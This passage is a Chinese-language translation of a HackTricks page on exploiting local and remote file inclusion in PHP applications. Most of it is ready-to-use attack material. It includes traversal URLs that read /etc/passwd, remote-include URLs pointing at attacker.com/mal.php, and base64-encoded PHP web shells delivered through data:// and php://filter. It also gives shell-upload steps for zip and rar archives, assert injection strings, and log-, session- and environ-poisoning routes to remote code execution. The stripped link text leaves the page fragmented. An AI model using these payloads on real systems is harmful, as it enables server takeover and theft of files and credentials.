  • 从一个虚假目录开始:常见做法是以一个不存在的目录(如a/)开始路径。这种技术被用作一种预防措施或满足服务器路径解析逻辑的要求。

在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方法。

此漏洞已在PHP 5.3中得到修复。

绕过过滤器的技巧

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

远程文件包含

在php中,默认情况下禁用了这个功能,因为**allow_url_include是Off**。必须将其设置为On才能正常工作,在这种情况下,您可以从您的服务器包含一个PHP文件并获得RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

在上面的代码中,最后添加了 +.txt,因为攻击者需要一个以 .txt 结尾的字符串,所以字符串以它结尾,在经过 b64 解码后,该部分将只返回垃圾数据,而真正的 PHP 代码将被包含(因此,被执行)。

另一个示例不使用 php:// 协议的例子是:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python 根元素

在 Python 中,像下面这样的代码:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

如果用户传递了绝对路径到**file_name,则之前的路径将被移除**:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

如果一个组件是绝对路径,则所有先前的组件都将被丢弃,并继续从绝对路径组件进行连接。

Java列出目录

看起来,如果在Java中存在路径遍历,并且您请求一个目录而不是一个文件,则会返回目录的列表。这在其他语言中不会发生(据我所知)。

前25个参数

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

使用 PHP 包装器和协议的 LFI / RFI

php://filter

PHP 过滤器允许在读取或写入数据之前执行基本的修改操作。有 5 类过滤器:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: 从数据中删除标签(位于 "<" 和 ">" 字符之间的所有内容)

  • 请注意,此过滤器已经从现代版本的 PHP 中消失

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.*:转换为不同的编码(convert.iconv.<input_enc>.<output_enc>)。要获取支持的所有编码列表,请在控制台中运行:iconv -l

  • zlib.deflate: 压缩内容(如果需要外泄大量信息,则很有用)

  • zlib.inflate: 解压数据

  • mcrypt.*:已弃用

  • mdecrypt.*:已弃用

  • 其他过滤器

  • 在 php 中运行 var_dump(stream_get_filters());,您可以找到一些意外的过滤器:

  • consumed

  • dechunk:反转 HTTP 分块编码

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

部分 "php://filter" 是不区分大小写的

使用php过滤器作为预言者读取任意文件

在原始文章中,您可以找到该技术的详细解释,但这里是一个快速摘要:

  • 使用编解码器**UCS-4LE**将文本的前导字符留在开头,并使字符串的大小呈指数增长。

  • 这将用于生成一个当正确猜测初始字母时非常大的文本,以便php触发一个错误

  • dechunk过滤器将删除所有内容,如果第一个字符不是十六进制,因此我们可以知道第一个字符是否是十六进制。

  • 这与先前的过滤器结合使用(以及根据猜测的字母使用其他过滤器),将允许我们通过查看我们进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制,dechunk不会删除它,初始炸弹将使php出错。

  • 编解码器convert.iconv.UNICODE.CP930将每个字母转换为下一个字母(因此在此编解码器之后:a -> b)。这使我们可以发现第一个字母是否是a,例如,因为如果我们应用6次这个编解码器 a->b->c->d->e->f->g,那么这个字母不再是十六进制字符,因此dechunk不会删除它,php错误会被触发,因为它与初始炸弹相乘。

  • 使用其他转换,如rot13在开头,可以泄漏其他字符,如n、o、p、q、r(还可以使用其他编解码器将其他字母移动到十六进制范围内)。

  • 当初始字符是数字时,需要对其进行base64编码并泄漏前两个字母以泄漏该数字。

  • 最终的问题是看如何泄漏比初始字母更多的内容。通过使用顺序记忆过滤器,如convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE,可以改变字符的顺序,并在文本的第一个位置获取其他字母。

  • 为了能够获取更多数据的想法是在开头生成2字节的无用数据,使用convert.iconv.UTF16.UTF16,应用UCS-4LE使其与接下来的2字节对齐,并删除数据直到无用数据(这将删除初始文本的前2字节)。继续这样做,直到达到要泄漏的位。

php://fd

此包装器允许访问进程打开的文件描述符。可能有助于泄漏已打开文件的内容:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

你也可以使用 php://stdin, php://stdout 和 php://stderr 来分别访问 文件描述符 0, 1 和 2(不确定这在攻击中如何有用)

zip:// 和 rar://

上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。 为了能够滥用 rar 协议,需要专门激活。

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://伪协议是一种用于在网页中嵌入数据的方法。这种方法可以用于利用文件包含漏洞,将恶意数据注入到网页中。

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

请注意,此协议受 php 配置 allow_url_open 和 allow_url_include 限制

expect://

Expect 必须被激活。您可以使用此方法执行代码:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

输入://

在POST参数中指定您的有效载荷:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

当一个网络应用程序利用include等函数进行文件加载时,可以利用.phar文件来执行PHP代码。下面提供的PHP代码片段演示了如何创建一个.phar文件:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

要编译.phar文件,请执行以下命令:

php --define phar.readonly=0 create_path.php

在执行时,将创建一个名为 test.phar 的文件,可能会被利用来利用本地文件包含(LFI)漏洞。

在仅执行文件读取而不执行其中的 PHP 代码的 LFI 情况下,可以尝试利用反序列化漏洞。该漏洞与使用 phar 协议读取文件相关联。

有关在 .phar 文件上利用反序列化漏洞的详细理解,请参考下面链接的文档:

更多协议

通过 PHP 的 'assert' 进行 LFI

在处理 'assert' 函数时,PHP 中的本地文件包含(LFI)风险特别高,因为它可以执行字符串中的代码。如果输入包含类似 ".." 的目录遍历字符但未经适当消毒,则这一点尤为棘手。

例如,PHP 代码可能被设计为防止目录遍历,如下所示:

assert("strpos('$file', '..') === false") or die("");

虽然这旨在阻止遍历,但无意中为代码注入创造了一个向量。要利用此漏洞读取文件内容,攻击者可以使用:

' and die(highlight_file('/etc/passwd')) or '

同样地,要执行任意系统命令,可以使用:

' and die(system("id")) or '

很重要对这些载荷进行URL编码。

黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解及时了解快节奏的黑客世界

最新公告 随时了解最新的赏金任务发布和重要平台更新

PHP盲目路径遍历

在您控制将访问文件的PHP函数的文件路径但不会看到文件内容(如简单调用**file()**)但内容不显示的情况下,此技术是相关的。

简而言之,该技术使用**“UCS-4LE”编码使文件内容变得如此庞大**,以至于打开文件的PHP函数将触发一个错误。

然后,为了泄露第一个字符,使用**dechunk过滤器以及其他过滤器,如base64或rot13**,最后使用convert.iconv.UCS-4.UCS-4LE和convert.iconv.UTF16.UTF-16BE过滤器将其他字符放在开头并泄露它们。

可能受到影响的函数:file_get_contents、readfile、finfo->file、getimagesize、md5_file、sha1_file、hash_file、file、parse_ini_file、copy、file_put_contents(仅目标只读)、stream_get_contents、fgets、fread、fgetc、fgetcsv、fpassthru、fputs

有关技术细节,请查看上述文章!

LFI2RCE

远程文件包含

通过Apache/Nginx日志文件

如果Apache或Nginx服务器容易受到LFI在包含函数内部,您可以尝试访问**/var/log/apache2/access.log或/var/log/nginx/access.log,在用户代理或GET参数中设置一个像<?php system($_GET['c']); ?>**的php shell并包含该文件

请注意,如果您使用双引号而不是单引号来定义shell,双引号将被修改为字符串“quote;”,PHP会在那里抛出错误,不会执行其他任何操作。

此外,请确保正确编写载荷,否则PHP每次尝试加载日志文件时都会出错,您将没有第二次机会。

这也可以在其他日志中完成,但要小心,日志中的代码可能已进行URL编码,这可能会破坏Shell。标头**授权“basic”**包含Base64中的“user:password”,并在日志中解码。PHPShell可以插入此标头内。 其他可能的日志路径:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

通过电子邮件

发送一封邮件到内部账户(user@localhost),包含您的 PHP payload,例如 <?php echo system($_REQUEST["cmd"]); ?>,并尝试通过路径如 /var/mail/<USERNAME> 或 /var/spool/mail/<USERNAME> 包含到用户的邮件中

通过 /proc/*/fd/*

  1. 上传大量的 shells(例如:100)

通过 /proc/self/environ

像日志文件一样,在 User-Agent 中发送 payload,它将反映在 /proc/self/environ 文件中

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

通过上传

如果您可以上传文件,只需在其中注入shell payload(例如:<?php system($_GET['c']); ?>)。

http://example.com/index.php?page=path/to/uploaded/file.png

为了保持文件的可读性,最好是注入到图片/文档/PDF的元数据中

通过Zip文件上传

上传一个包含压缩的PHP shell的ZIP文件并访问:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

通过 PHP 会话

检查网站是否使用 PHP 会话(PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

在PHP中,这些会话被存储在/var/lib/php5/sess\[PHPSESSID]文件中

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

将cookie设置为<?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

使用本地文件包含(LFI)漏洞来包含PHP会话文件

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

通过ssh

如果ssh处于活动状态,请检查正在使用哪个用户(/proc/self/status 和 /etc/passwd),并尝试访问 <HOME>/.ssh/id_rsa

通过 vsftpd 日志

FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log。在存在本地文件包含(LFI)漏洞且可以访问到暴露的 vsftpd 服务器的情况下,可以考虑以下步骤:

  1. 在登录过程中的用户名字段中注入 PHP 载荷。

  2. 注入后,利用 LFI 从 /var/log/vsftpd.log 检索服务器日志。

通过 php base64 过滤器(使用 base64)

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

通过php过滤器(无需文件)

通过分段错误

上传一个将被存储为临时文件在/tmp中,然后在同一请求中触发一个分段错误,然后临时文件不会被删除,您可以搜索它。

通过Nginx临时文件存储

如果您发现了本地文件包含,并且Nginx在PHP前面运行,您可能能够使用以下技术获得RCE:

通过PHP_SESSION_UPLOAD_PROGRESS

如果您发现了本地文件包含,即使您没有会话,并且session.auto_start是Off。如果您在多部分POST数据中提供**PHP_SESSION_UPLOAD_PROGRESS,PHP将为您启用会话**。您可以滥用此功能来获得RCE:

通过Windows中的临时文件上传

如果您发现了本地文件包含,并且服务器在Windows上运行,您可能会获得RCE:

通过phpinfo()(file_uploads = on)

如果您发现了本地文件包含,并且一个文件暴露了phpinfo(),其中file_uploads = on,您可以获得RCE:

通过compress.zlib + PHP_STREAM_PREFER_STUDIO + 路径泄露

如果您发现了本地文件包含,并且您可以泄露临时文件的路径,但是服务器正在检查要包含的文件是否具有PHP标记,您可以尝试使用此竞争条件来绕过该检查:

通过永久等待 + 暴力破解

如果您可以滥用LFI来上传临时文件并使服务器挂起PHP执行,然后您可以在数小时内暴力破解文件名以找到临时文件:

致命错误

如果您包含任何文件/usr/bin/phar、/usr/bin/phar7、/usr/bin/phar.phar7、/usr/bin/phar.phar。(您需要两次包含相同的文件才能引发该错误)。

我不知道这有什么用,但可能有用。 即使引发PHP致命错误,PHP上传的临时文件也会被删除。

参考资料

黑客见解 参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻 通过实时新闻和见解保持与快节奏的黑客世界同步

最新公告 通过最新的赏金计划发布和重要平台更新保持信息更新

加入服务器,与经验丰富的黑客和赏金猎人交流!

加入我们的 ,立即与顶尖黑客合作!

一个有趣的工具来利用这个漏洞:

可以在找到一个使用多种技术查找文件 /etc/password(以检查漏洞是否存在)的列表。

可以在找到一个使用多种技术查找文件 /boot.ini(以检查漏洞是否存在)的列表。

如果由于某种原因**allow_url_include被设置为On**,但PHP正在过滤对外部网页的访问,,你可以使用数据协议与base64来解码一个b64 PHP代码并获得RCE:

根据的意图行为如下:

以下是可能容易受到本地文件包含(LFI)漏洞影响的前25个参数列表(来自):

:

滥用 convert.iconv.* 转换过滤器,您可以生成任意文本,这可能对编写任意文本或执行包含过程中的任意文本很有用。有关更多信息,请查看 。

提出了一种技术,可以在没有从服务器返回输出的情况下读取本地文件。这种技术基于使用php过滤器作为预言者逐个字符地提取文件。这是因为php过滤器可以用来使文本变得足够大,以使php抛出异常。

在文章中还泄漏了一个自动执行此操作的工具:。

检查更多可能的:

— 写入内存或临时文件(不确定这在文件包含攻击中如何有用)

— 访问本地文件系统

— 访问 HTTP(s) URL

— 访问 FTP(s) URL

— 压缩流

— 查找与模式匹配的路径名(它不返回任何可打印的内容,因此在这里并不真正有用)

— 安全外壳 2

— 音频流(不适用于读取任意文件)

加入服务器,与经验丰富的黑客和赏金猎人交流!

加入我们的 并开始与顶尖黑客合作!

在中,解释了如何通过PHP过滤器滥用盲目路径遍历以通过错误神谕泄露文件内容。

如前所述,请。

包含 ,其中 $PID = 进程的 PID(可以暴力破解),$FD 是文件描述符(也可以暴力破解)

如文章所示,PHP base64 过滤器会忽略非 base64 编码。您可以利用这一点绕过文件扩展名检查:如果提供以 ".php" 结尾的 base64,它会忽略 "." 并将 "php" 附加到 base64。以下是一个示例载荷:

这篇解释了您可以使用php过滤器生成任意内容作为输出。这基本上意味着您可以生成任意的php代码以供包含,而无需将其写入文件中。

\

加入服务器,与经验丰富的黑客和赏金猎人交流!

加入我们的,立即与顶尖黑客合作!

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

如果您想在HackTricks中看到您的公司广告或下载PDF版HackTricks,请查看!

获取

探索,我们的独家收藏品

加入 💬 或 或在Twitter 🐦 上关注我们。

通过向和 github仓库提交PR来分享您的黑客技巧。

🕸️
HackenProof Discord
Discord
https://github.com/kurobeats/fimap
这里
这里
根据这篇文章
文档
链接
字符串过滤器
转换过滤器
通过 php 过滤器进行 LFI2RCE
压缩过滤器
加密过滤器
在这篇文章中
php_filters_chain_oracle_exploit
Phar 反序列化利用指南
phar:// deserialization
在此包含的协议
php://memory 和 php://temp
file://
http://
ftp://
zlib://
glob://
ssh2://
ogg://
HackenProof Discord
Discord
这篇令人难以置信的文章
http://example.com/index.php?page=/proc/$PID/fd/$FD
此
writeup
LFI2RCE via PHP Filters
LFI2RCE via Segmentation Fault
LFI2RCE via Nginx temp files
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
LFI2RCE Via temp file uploads
LFI2RCE via phpinfo()
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
LFI2RCE via Eternal waiting
PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
HackenProof Discord
Discord
htARTE(HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
点击此链接
htARTE(HackTricks AWS红队专家)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群组
电报群组
@carlospolopm
HackTricks
HackTricks Cloud
Auto_Wordlists/file_inclusion_linux.txt at main · carlospolop/Auto_WordlistsGitHub
Auto_Wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_WordlistsGitHub
Logo
Logo
125KB
EN-Local-File-Inclusion-1.pdf
pdf